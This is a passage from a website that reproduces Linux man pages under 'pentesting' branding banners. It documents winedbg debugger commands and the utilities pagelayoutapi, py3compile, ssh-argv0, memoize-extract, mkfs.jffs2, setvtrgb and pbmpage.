When setting a (break|watch)-point by id, if the symbol cannot be found (for example, the symbol is contained in a not yet loaded module), winedbg will recall the name of the symbol and will try to set the breakpoint each time a new module is loaded (until it succeeds).

Stack manipulation

bt
Print calling stack of current thread.

bt N
Print calling stack of thread of ID N. Note: this doesn’t change the position of the current frame as manipulated by the up & dn commands).

up
Goes up one frame in current thread’s stack

up N
Goes up N frames in current thread’s stack

dn
Goes down one frame in current thread’s stack

dn N
Goes down N frames in current thread’s stack

frame N
Sets N as the current frame for current thread’s stack.

info locals
Prints information on local variables for current function frame.

Directory & source file manipulation

show dir
Prints the list of dirs where source files are looked for.

dir pathname
Adds pathname to the list of dirs where to look for source files

dir
Deletes the list of dirs where to look for source files

symbolfile pathname
Loads external symbol definition file pathname

symbolfile pathname N
Loads external symbol definition file pathname (applying an offset of N to addresses)

list
Lists 10 source lines forwards from current position.

list -
Lists 10 source lines backwards from current position

list N
Lists 10 source lines from line N in current file

list pathname:N
Lists 10 source lines from line N in file pathname

list id
Lists 10 source lines of function id

list * N
Lists 10 source lines from address N

You can specify the end target (to change the 10 lines value) using the ‘,’ separator. For example:

list 123, 234
lists source lines from line 123 up to line 234 in current file

list foo.c:1,56
lists source lines from line 1 up to 56 in file foo.c

Displaying

A display is an expression that’s evaluated and printed after the execution of any winedbg command.

display

info display
Lists the active displays

display expr
Adds a display for expression expr

display /fmt expr
Adds a display for expression expr. Printing evaluated expr is done using the given format (see print command for more on formats)

del display N

undisplay N
Deletes display N

Disassembly

disas
Disassemble from current position

disas expr
Disassemble from address expr

disas expr,expr
Disassembles code between addresses specified by the two expressions

Memory (reading, writing, typing)

x expr
Examines memory at address expr

x /fmt expr
Examines memory at address expr using format fmt

print expr
Prints the value of expr (possibly using its type)

print /fmt expr
Prints the value of expr (possibly using its type)

set var = expr
Writes the value of expr in var variable

whatis expr
Prints the C type of expression expr

fmt
is either letter or count letter, where letter can be:

  1. an ASCII string

  2. a UTF16 Unicode string

  3. instructions (disassemble)

  4. 32-bit unsigned hexadecimal integer

  5. 32-bit signed decimal integer

  6. 16-bit unsigned hexadecimal integer

  7. character (only printable 0x20-0x7f are actually printed)

  8. 8-bit unsigned hexadecimal integer

  9. Win32 GUID

Expressions

Expressions in Wine Debugger are mostly written in a C form. However, there are a few discrepancies:

Identifiers can take a ‘!’ in their names. This allows mainly to specify a module where to look the ID from, e.g. USER32!CreateWindowExA.

In a cast operation, when specifying a structure or a union, you must use the struct or union keyword (even if your program uses a typedef).

When specifying an identifier, if several symbols with this name exist, the debugger will prompt for the symbol you want to use. Pick up the one you want from its number.

Misc.

**minidump **file.mdmp saves the debugging context of the debuggee into a minidump file called file.mdmp.

Information on Wine internals

info class
Lists all Windows classes registered in Wine

info class id
Prints information on Windows class id

info share
Lists all the dynamic libraries loaded in the debugged program (including .so files, NE and PE DLLs)

info share N
Prints information on module at address N

info regs
Prints the value of the CPU registers

info all-regs
Prints the value of the CPU and Floating Point registers

info segment
Lists all allocated segments (i386 only)

info segment N
Prints information on segment N (i386 only)

info stack
Prints the values on top of the stack

info map
Lists all virtual mappings used by the debugged program

info map N
Lists all virtual mappings used by the program of Windows pid N

info wnd
Displays the window hierarchy starting from the desktop window

info wnd N
Prints information of Window of handle N

info process
Lists all w-processes in Wine session

info thread
Lists all w-threads in Wine session

info frame
Lists the exception frames (starting from current stack frame). You can also pass, as optional argument, a thread id (instead of current thread) to examine its exception frames.

Debug messages can be turned on and off as you are debugging using the set command, but only for channels initialized with the WINEDEBUG environment variable.

set warn + win
Turns on warn on win channel

set + win
Turns on warn/fixme/err/trace on win channel

set - win
Turns off warn/fixme/err/trace on win channel

set fixme - all
Turns off fixme class on all channels

Gdb mode:

See the gdb documentation for all the gdb commands.

However, a few Wine extensions are available, through the monitor command:

monitor wnd
Lists all windows in the Wine session

monitor proc
Lists all processes in the Wine session

monitor mem
Displays memory mapping of debugged process

Auto and minidump modes:

Since no user input is possible, no commands are available.

ENVIRONMENT

WINE_GDB
When used in gdb proxy mode, WINE_GDB specifies the name (and the path) of the executable to be used for gdb. “gdb” is used by default.

AUTHORS

The first version was written by Eric Youngdale.

See Wine developers list for the rest of contributors.

BUGS

Bugs can be reported on the

Wine bug tracker

AVAILABILITY

winedbg is part of the Wine distribution, which is available through WineHQ, the

Wine development headquarters

SEE ALSO

wine(1),

Wine documentation and support

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2221 - Linux cli command pagelayoutapi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pagelayoutapi and provides detailed information about the command pagelayoutapi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pagelayoutapi.

NAME 🖥️ pagelayoutapi 🖥️

API for the pagelayout LaTeX class

SYNOPSIS

pagelayoutapi getwidth % FILE

pagelayoutapi getheight % FILE

pagelayoutapi optimize % FILE % FILENAME % EXTENSION % ORIGINALWIDTH % ORIGINALHEIGHT % CROPLEFT % CROPRIGHT % CROPTOP % CROPBOTTOM % DENSITY % WIDTH % HEIGHT % DOWNSAMPLETHRESHOLD % UNSHARP % QUALITY

pagelayoutapi makeshadow % FILENAME % STANDARDDEVIATION % OPACITY % COLOR % WIDTH % HEIGHT % FRAMEWIDTH % FRAMEHEIGHT % MARGIN % BORDERRADIUS

pagelayoutapi start [% import % [GRAPHICSPATH]] [% turbo % JOBNAME]

pagelayoutapi batchoptimize % BATCHLIST

DESCRIPTION

This script provides an API for the pagelayout LaTeX class.

pagelayoutapi getwidth
Returns the width in pixels for the given image file.

pagelayoutapi getheight
Returns the height in pixels for the given image file.

pagelayoutapi optimize
Creates a cropped, rezised, sharpend and compressed image and stores it in the cache directory.

pagelayoutapi makeshadow
Creates a shadow image and stores it in the cache directory.

pagelayoutapi start
The import parameter triggers the image import (see pagelayout-manual.pdf chapter “Image Optimization”). Running the command with the parameter turbo, where the jobname is the filename of the document, processes the document in a special batch mode, that creates a batch list and calls the command pagelayoutapi batchoptimize.

pagelayoutapi batchoptimize
Optimizes multiple images in parallel.

OPTIONS

–help
Prints a help message.

–version
Prints version information.

PARAMETERS

FILE
filename with extension (eg. IMG1234.JPEG)

FILENAME
filename without extension (eg. IMG1234)

EXTENSION
optimized file extension (.jpg|.png)

DENSITY
density in ppi (eg. 72)

DOWNSAMPLETHRESHOLD
downsample threshold (integer >= 100)

UNSHARP
unsharp filter (eg. 2x1)

QUALITY
quality (integer > 0, <= 100)

STANDARDDEVIATION
standard deviation (decimal > 0.0)

OPACITY
opacity (decimal >= 0.0, <= 1.0)

COLOR
color string (eg. pink)

GRAPHICSPATH
list of directories (eg. {images/}{tmp/})

JOBNAME
LaTeX filename without extension (eg. my-document)

BATCHLIST
a flat list of batch items where each batch item is a flat list of the 15 parameters required by the command `pagelayoutapi optimize`

All other parameters are length dimensions. The command pagelayoutapi optimize expects integer values in the LaTeX unit sp (eg. 65536). The command pagelayoutapi makeshadow expects decimal values in a SVG compatible unit (eg. 420.0pt).

ENVIRONMENT

pagelayoutapi requires ImageMagick 7.0 or later and Inkscape 1.0 or later.

PAGELAYOUT_IMPORT_DIRECTORY
Defines a system wide import directory.

AUTHOR

pagelayoutapi was written by Friedemann Bartels. https://github.com/friedemannbartels

LICENSE

Copyright (c) 2022-2023 Friedemann Bartels. Free use of this software is granted under the terms of the LaTeX Project Public License version 1.3c or later.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2222 - Linux cli command py3compile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command py3compile and provides detailed information about the command py3compile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the py3compile.

NAME 🖥️ py3compile 🖥️

byte compile Python 3 source files

SYNOPSIS

py3compile [-V [X.Y][-][A.B]] DIR_OR_FILE [-X REGEXPR]

pycompile -p PACKAGE

DESCRIPTION

Wrapper around Python standard library’s py_compile module to byte-compile Python 3 files.

OPTIONS

–version
show program’s version number and exit

-h, –help
show this help message and exit

-f, –force
force rebuild of byte-code files even if timestamps are up-to-date

-O
byte-compile to .pyo files

-q, –quiet
be quiet

-v, –verbose
turn verbose mode on

-p* PACKAGE,*** –package**=****PACKAGE
specify Debian package name whose files should be bytecompiled

-V* VRANGE*
force private modules to be bytecompiled with Python 3 version from given range, regardless of the default Python 3 version in the system. If there are no other options, bytecompile all public modules for installed Python 3 versions that match given range. VERSION_RANGE examples:

  • 3.1 version 3.1 only,

  • 3.1- version 3.1 or newer,

  • 3.1-3.3 version 3.1 or 3.2,

  • -4.0 all supported 3.X versions

-X* REGEXPR,*** –exclude**=****REGEXPR
exclude items that match given REGEXPR. You may use this option multiple times to build up a list of things to exclude

AUTHOR

Piotr Ożarowski, 2012-2013

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2223 - Linux cli command ssh-argv0

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssh-argv0 and provides detailed information about the command ssh-argv0, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssh-argv0.

replaces the old ssh command-name as hostname handling. If you link to this script with a hostname then executing the link is equivalent to having executed ssh with that hostname as an argument. All other arguments are passed to ssh and will be processed normally.

See

See

OpenSSH is a derivative of the original and free ssh 1.2.12 release by Tatu Ylonen. Aaron Campbell, Bob Beck, Markus Friedl, Niels Provos, Theo de Raadt and Dug Song removed many bugs, re-added newer features and created OpenSSH. Markus Friedl contributed the support for SSH protocol versions 1.5 and 2.0. Natalie Amery wrote this ssh-argv0 script and the associated documentation.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2224 - Linux cli command memoize-extract

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command memoize-extract and provides detailed information about the command memoize-extract, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the memoize-extract.

NAME 🖥️ memoize-extract 🖥️

extract.pl, memoize-extract.py - Extract extern pages out of the PDF

SYNOPSIS

memoize-extract.pl [OPTIONS] document.mmz

memoize-extract.py [OPTIONS] document.mmz

DESCRIPTION

memoize-extract is a script accompanying Memoize, a TeX package which allows the author to reuse the results of compilation-intensive code such as TikZ pictures.

Memoize dumps the created externs (boxes containing the typeset material to be reused) onto their own pages in the produced PDF file. It is the job of memoize-extract to extract these extern pages into separate PDF files. At subsequent compilations, Memoize will include those extern files into the document, without compiling their source again.

Memoize communicates with memoize-extract through file document.mmz. When document.tex is compiled to produce document.pdf, Memoize produces document.mmz, which records which pages in the produced document are extern pages and to which extern files they should be extracted. Therefore, after compiling document.tex, the externs should be extracted by memoize-extract document.mmz.

document.mmz may also be given as document* or document.tex. When environment variable TEXMF_OUTPUT_DIRECTORY is set, this filename is relative to the output directory specified by this variable.

document.mmz also records the expected width and height of each extern. In case of a mismatch, memoize-extract refuses to extract the page and removes the extern file if it already exist, and prints a warning message to the standard error. The script also refuses to extract the page if a (c)c-memo associated to the extern does not exist. See also section SECURITY.

The Perl (.pl) and the Python (.py) version of the script are functionally equivalent. The Perl script requires library PDF::API2 (https://metacpan.org/pod/PDF::API2), and the Python script requires library pdfrw2 (https://pypi.org/project/pdfrw2).

OPTIONS

-P, –pdf filename.pdf
The externs will be extracted from filename.pdf. By default, they are extracted from document.pdf.

-p, –prune
Remove the extern pages from the PDF after extraction.

-k, –keep
Do not modify the document.mmz to mark the externs as extracted. By default, they are commented out to prevent double extraction.

-F, –format latex|plain|context
When this option is given, the script assumes that it was called from within a TeX compilation of a document in the given format: it prefixes all output by the script name, and creates a log file document.mmz.log, which receives any extraction-related warnings and errors.

-f, –force
Extract the extern even if the size-check fails.

-q, –quiet
Don’t describe what’s happening.

-m, –mkdir
A paranoid mkdir -p. (No extraction occurs, document.mmz is interpreted as a directory name, which may end in any suffix; no suffix mangling is performed.)

-V, –version
Show the Memoize version number and exit.

-h, –help
Show help and exit.

SECURITY

This script respects the restrictions on file input and output imposed by the TeX configuration, more precisely, the variables openin_any and openout_any of the kpathsea library (https://tug.org/kpathsea). You can inspect the values of these variables by executing `kpsewhich -var-value=openin_any’ and `kpsewhich -var-value=openout_any’. The interpretation is as follows:

a (or y or 1) any
Allows any file to be opened.

r (or n or 0) restricted
Means disallowing special file names.

p (or any other value) paranoid
Means being really paranoid: disallowing special file names and restricting input/output files to be in or below the working directory or the directory specified by TEXMFOUTPUT or TEXMF_OUTPUT_DIRECTORY. TEXMFOUTPUT may be set either in texmf.cnf (e.g. by tlmgr) or as an environment variable. TEXMF_OUTPUT_DIRECTORY may only be set as an environment variables; it is automatically set by TeX when called by -output-directory option (starting in TeXLive 2024).

EXIT STATUS

0
The externs were successfully extracted. This exit code is returned even if no externs need to be extracted, or if document.mmz does not exist.

10
A warning also reported back to the compilation when given option –format. Currently, either: (i) size-mismatch; (ii) a non-existing associated (c)c-memo file; or (iii) unavailable kpsewhich.

11
An error also reported back to the compilation when given option –format. Currently, either: (i) a currupted document PDF, or (ii) a kpathsea permission error.

Other exit codes are as produced by the underlying scripting language (Perl of Python).

SEE ALSO

Memoize manual (https://ctan.org/pkg/memoize), section 6.6.1.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2225 - Linux cli command mkfs.jffs2

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mkfs.jffs2 and provides detailed information about the command mkfs.jffs2, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mkfs.jffs2.

NAME 🖥️ mkfs.jffs2 🖥️

Create a JFFS2 file system image from directory

SYNOPSIS

mkfs.jffs2 [ -p,–pad[=SIZE] ] [ -r,-d,–root directory ] [ -s,–pagesize=SIZE ] [ -e,–eraseblock=SIZE ] [ -c,–cleanmarker=SIZE ] [ -n,–no-cleanmarkers ] [ -o,–output image.jffs2 ] [ -l,–little-endian ] [ -b,–big-endian ] [ -D,–devtable=FILE ] [ -f,–faketime ] [ -q,–squash ] [ -U,–squash-uids ] [ -P,–squash-perms ] [ –with-xattr ] [ –with-selinux ] [ –with-posix-acl ] [ -m,–compression-mode=MODE ] [ -x,–disable-compressor=NAME ] [ -X,–enable-compressor=NAME ] [ -y,–compressor-priority=PRIORITY:NAME ] [ -L,–list-compressors ] [ -t,–test-compression ] [ -h,–help ] [ -v,–verbose ] [ -V,–version ] [ -i,–incremental image.jffs2 ]

DESCRIPTION

The program mkfs.jffs2 creates a JFFS2 (Second Journalling Flash File System) file system image and writes the resulting image to the file specified by the -o option or by default to the standard output, unless the standard output is a terminal device in which case mkfs.jffs2 will abort.

The file system image is created using the files and directories contained in the directory specified by the option -r or the present directory, if the -r option is not specified.

Each block of the files to be placed into the file system image are compressed using one of the available compressors depending on the selected compression mode.

File systems are created with the same endianness as the host, unless the -b or -l options are specified. JFFS2 driver in the 2.4 Linux kernel only supported images having the same endianness as the CPU. As of 2.5.48, the kernel can be changed with a #define to accept images of the non-native endianness. Full bi-endian support in the kernel is not planned.

It is unlikely that JFFS2 images are useful except in conjunction with the MTD (Memory Technology Device) drivers in the Linux kernel, since the JFFS2 file system driver in the kernel requires MTD devices.

OPTIONS

Options that take SIZE arguments can be specified as either decimal (e.g., 65536), octal (0200000), or hexadecimal (0x1000).

-p, –pad[=SIZE]
Pad output to SIZE bytes with 0xFF. If SIZE is not specified, the output is padded to the end of the final erase block.

-r, -d, –root=DIR
Build file system from directory DIR. The default is the current directory.

-s, –pagesize=SIZE
Use page size SIZE. The default is 4 KiB. This size is the maximum size of a data node. Set according to target system’s memory management page size (NOTE: this is NOT related to NAND page size).

-e, –eraseblock=SIZE
Use erase block size SIZE. The default is 64 KiB. If you use a erase block size different than the erase block size of the target MTD device, JFFS2 may not perform optimally. If the SIZE specified is below 4096, the units are assumed to be KiB.

-c, –cleanmarker=SIZE
Write ‘CLEANMARKER’ nodes with the size specified. It is not normally appropriate to specify a size other than the default 12 bytes.

-n, –no-cleanmarkers
Do not write ‘CLEANMARKER’ nodes to the beginning of each erase block. This option can be useful for creating JFFS2 images for use on NAND flash, and for creating images which are to be used on a variety of hardware with differing eraseblock sizes.

-o, –output=FILE
Write JFFS2 image to file FILE. Default is the standard output.

-l, –little-endian
Create a little-endian JFFS2 image. Default is to make an image with the same endianness as the host.

-b, –big-endian
Create a big-endian JFFS2 image. Default is to make an image with the same endianness as the host.

-D, –devtable=FILE
Use the named FILE as a device table file, for including devices and changing permissions in the created image when the user does not have appropriate permissions to create them on the file system used as source.

-f, –faketime
Change all file timestamps to ‘0’ for regression testing.

-q, –squash
Squash permissions and owners, making all files be owned by root and removing write permission for ‘group’ and ‘other’.

-U, –squash-uids
Squash owners making all files be owned by root.

-P, –squash-perms
Squash permissions, removing write permission for ‘group’ and ‘other’.

–with-xattr
Enables xattr, stuff all xattr entries into jffs2 image file.

–with-selinux
Enables xattr, stuff only SELinux Labels into jffs2 image file.

–with-posix-acl
Enable xattr, stuff only POSIX ACL entries into jffs2 image file.

-m, –compression-mode=MODE
Set the default compression mode. The default mode is priority which tries the compressors in a predefinied order and chooses the first successful one. The alternatives are: none (mkfs will not compress) and size (mkfs will try all compressor and chooses the one which have the smallest result).

-x, –disable-compressor=NAME
Disable a compressor. Use -L to see the list of the available compressors and their default states.

-X, –enable-compressor=NAME
Enable a compressor. Use -L to see the list of the available compressors and their default states.

-y, –compressor-priority=PRIORITY:NAME
Set the priority of a compressor. Use -L to see the list of the available compressors and their default priority. Priorities are used by priority compression mode.

-L, –list-compressors
Show the list of the available compressors and their states.

-t, –test-compression
Call decompress after every compress - and compare the result with the original data -, and some other check.

-h, –help
Display help text.

-v, –verbose
Verbose operation.

-V, –version
Display version information.

-i, –incremental=FILE
Generate an appendage image for FILE. If FILE is written to flash and flash is appended with the output, then it seems as if it was one thing.

LIMITATIONS

The format and grammar of the device table file does not allow it to create symbolic links when the symbolic links are not already present in the root working directory.

However, symbolic links may be specified in the device table file using the l type for the purposes of setting their permissions and ownership.

BUGS

JFFS2 limits device major and minor numbers to 8 bits each. Some consider this a bug.

mkfs.jffs2 does not properly handle hard links in the input directory structure. Currently, hard linked files will be expanded to multiple identical files in the output image.

AUTHORS

David Woodhouse
Manual page written by David Schleef <[email protected]>

SEE ALSO

mkfs(8), mkfs.jffs(1), fakeroot(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2226 - Linux cli command setvtrgb

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command setvtrgb and provides detailed information about the command setvtrgb, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the setvtrgb.

NAME 🖥️ setvtrgb 🖥️

customize the console color map

SYNOPSIS

setvtrgb vga

setvtrgb FILE|-

DESCRIPTION

setvtrgb sets the console color map in all virtual terminals according to custom values specified in a file or standard input. With the `vga’ parameter, it can also be used to restore the settings built into the kernel.

When invoked with a filename or `-’, setvtrgb expects input as follows:

color0_r,color1_r,…,color15_r color0_g,color1_g,…,color15_g color0_b,color1_b,…,color15_b

where colorN_{r,g,b} is the red/green/blue portion of the respective color in decimal notation in the 0..255 range. To pre-seed a file in the correct format, you can use

cat /sys/module/vt/parameters/default_{red,grn,blu}

The meanings of the color values are defined as follows:

+——–+——–+———+ | Normal | Bright | Color | +——–+——–+———+ | 0 | 8 | Black | | 1 | 9 | Red | | 2 | 10 | Green | | 3 | 11 | Yellow | | 4 | 12 | Blue | | 5 | 13 | Magenta | | 6 | 14 | Cyan | | 7 | 15 | White | +—————————+

AUTHOR

setvtrgb is Copyright © 2011 Alexey Gladkov <[email protected]>, with portions by Dustin Kirkland <[email protected]> and Seth Forshee <[email protected]> at Canonical Ltd.

This manual page was written by Michael Schutte <[email protected]> for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2227 - Linux cli command pbmpage

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmpage and provides detailed information about the command pbmpage, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmpage.

.

NAME 🖥️ pbmpage 🖥️

create a one page test pattern for printing

SYNOPSIS

pbmpage [-a4] test_pattern

DESCRIPTION

This program is part of Netpbm(1) .

pbmpage generates a one page test pattern to print on a sheet of paper, for use in calibrating a printer. The test pattern in is PBM format.

pbmpage produces an image intended for 600 dots per inch printer resolution.

If you are printing on an HP PPA printer, you can convert the output of this program to a stream that you can feed to the printer with pbmtoppa.

Bear in mind that when you print the test pattern, you are testing not only the printer, but any converter or driver software along the printing path. Any one of these components may adjust margins, crop the image, erase edges, and such.

If, because of addition of margins, the printer refuses to print the image because it is too big, use pamcut to cut the right and bottom edges off the test pattern until it is small enough to print.

test_pattern is the number of the test pattern to generate, as follows. The default is 1.

1
A black on white grid ruled in numbers of pixels. A black one pixel box is at the very edges of the paper.

Before Netpbm 10.18 (August 2003), the perimeter box was not there.

2
A vertical line segment, one pixel wide, extending 1/2" up from the exact center of the page.

3
Two diagonal line segments, one starting at the upper left corner of the page, the other starting from the lower right corner of the page. Both extend 1/2" toward the center of the page at 45 degrees.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmpage recognizes the following command line option:

-a4
Generate an image for A4 (European) paper. Without this option, pbmpage generates an image for US standard paper (8 1/2" wide x 11" high).

SEE ALSO

pbmtoppa(1) , pamcut(1) , pbm(1)

AUTHOR

Tim Norman. Copyright (C) 1998. Licensed under GNU General Public License

Manual page by Bryan Henderson, May 2000. Contributed to the public domain by its author.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmpage.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

